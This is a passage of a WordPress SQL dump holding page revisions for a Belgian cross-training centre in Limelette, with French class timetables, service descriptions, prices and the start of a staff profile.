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(384, 1, '2013-11-04 17:47:17', '2013-11-04 17:47:17', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:47:17', '2013-11-04 17:47:17', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(383, 1, '2013-11-04 17:46:22', '2013-11-04 17:46:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9#rdv\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 17:46:22', '2013-11-04 17:46:22', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(387, 1, '2014-02-09 20:36:22', '2014-02-09 20:36:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenu\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\n&lt;div align=\&quot;center\&quot;&gt;\n\nLimelette\n\n&lt;/div&gt;\n&lt;/div&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\n\n&amp;nbsp;\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nCircuit training&lt;/td&gt;\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\nRenforcement musculaire&lt;/td&gt;\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\nCardio&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\n\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\n\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\n1 carte de 10 séances : 80.00€ (valable 3 mois)\n1 carte de 20 séances : 120.00€ (valable 4 mois)\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-autosave-v1', '', '', '2014-02-09 20:36:22', '2014-02-09 20:36:22', '', 361, 'http://www.crosstrainingcenter.be/361-autosave-v1/', 0, 'revision', '', 0),
(388, 1, '2013-11-04 18:04:37', '2013-11-04 18:04:37', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2013-11-04 18:04:37', '2013-11-04 18:04:37', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(390, 1, '2013-11-06 21:05:33', '2013-11-06 21:05:33', '', 'chloe_chmiel_pti', '', 'inherit', 'open', 'open', '', 'chloe_chmiel_pti', '', '', '2013-11-06 21:05:33', '2013-11-06 21:05:33', '', 20, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg', 0, 'attachment', 'image/jpeg', 0),
(478, 1, '2015-04-21 09:37:57', '2015-04-21 09:37:57', '&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; 